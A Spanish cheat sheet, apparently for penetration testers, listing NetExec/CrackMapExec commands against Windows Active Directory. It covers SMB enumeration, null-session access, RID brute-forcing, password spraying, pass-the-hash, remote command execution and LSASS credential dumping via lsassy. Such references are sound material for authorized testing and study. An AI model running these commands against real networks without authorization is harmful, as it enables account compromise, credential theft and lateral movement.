NetExec (`nxc`) es el sucesor moderno de CrackMapExec (`crackmapexec`/`cme`). Se usa para enumerar,
validar credenciales y automatizar acciones en entornos Windows/Active Directory desde protocolos
como SMB, WinRM, LDAP, MSSQL o RDP.
~ ▸ Uso básico
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP/RANGO> -u <usuario> -p '<password>'
nxc smb <IP/RANGO> -u <usuario> -H <NTLM_HASH>
nxc winrm <IP> -u <usuario> -p '<password>'
└───────────────────────────────────────────────────────────────────────────────────────────────────
Con CrackMapExec clásico la idea es equivalente:
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
crackmapexec smb <IP/RANGO> -u <usuario> -p '<password>'
crackmapexec smb <IP/RANGO> -u <usuario> -H <NTLM_HASH>
└───────────────────────────────────────────────────────────────────────────────────────────────────
~ 🔎 Enumeración SMB
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '<usuario>' -p '<password>' --shares
nxc smb <IP> -u '<usuario>' -p '<password>' --users
nxc smb <IP> -u '<usuario>' -p '<password>' --groups
nxc smb <IP> -u '<usuario>' -p '<password>' --pass-pol
nxc smb <IP> -u '<usuario>' -p '<password>' --loggedon-users
└───────────────────────────────────────────────────────────────────────────────────────────────────
~ ▸ Acceso nulo o guest
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '' -p '' --shares
nxc smb <IP> -u 'guest' -p '' --shares
nxc smb <IP> -u '' -p '' --rid-brute
└───────────────────────────────────────────────────────────────────────────────────────────────────
`--rid-brute` puede ayudar a descubrir usuarios cuando SMB permite enumeración por RID.
~ ▸ Password spraying
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP/RANGO> -u users.txt -p 'Password123!' --continue-on-success
nxc smb <IP/RANGO> -u users.txt -p passwords.txt --continue-on-success
└───────────────────────────────────────────────────────────────────────────────────────────────────
Para evitar bloqueos de cuenta, revisar siempre la política de contraseñas antes de hacer spraying:
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb <DC_IP> -u '<usuario>' -p '<password>' --pass-pol
└───────────────────────────────────────────────────────────────────────────────────────────────────
~ 🔐 Pass The Hash
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '<usuario>' -H '<NTLM_HASH>'
nxc winrm <IP> -u '<usuario>' -H '<NTLM_HASH>'
└───────────────────────────────────────────────────────────────────────────────────────────────────
Si aparece `Pwn3d!`, normalmente el usuario tiene permisos suficientes para ejecución remota sobre
ese protocolo.
~ ▸ Ejecución de comandos
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '<usuario>' -p '<password>' -x 'whoami'
nxc smb <IP> -u '<usuario>' -p '<password>' -X 'whoami'
nxc winrm <IP> -u '<usuario>' -p '<password>' -x 'whoami'
└───────────────────────────────────────────────────────────────────────────────────────────────────
`-x` ejecuta comandos vía cmd y `-X` vía PowerShell.
~ ▸ Local Auth
Para probar credenciales locales en lugar de dominio:
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP/RANGO> -u 'Administrator' -p '<password>' --local-auth
nxc smb <IP/RANGO> -u 'Administrator' -H '<NTLM_HASH>' --local-auth
└───────────────────────────────────────────────────────────────────────────────────────────────────
~ ▸ Módulos útiles
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb <IP> -u '<usuario>' -p '<password>' -M spider_plus
nxc smb <IP> -u '<usuario>' -p '<password>' -M lsassy
nxc smb <IP> -u '<usuario>' -p '<password>' -M enum_av
└───────────────────────────────────────────────────────────────────────────────────────────────────
Para listar módulos disponibles:
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nxc smb -L
└───────────────────────────────────────────────────────────────────────────────────────────────────
:: ▸ Referencias
~ NetExec Wiki - SMB shares
~ CrackMapExec Wiki - SMB Command Reference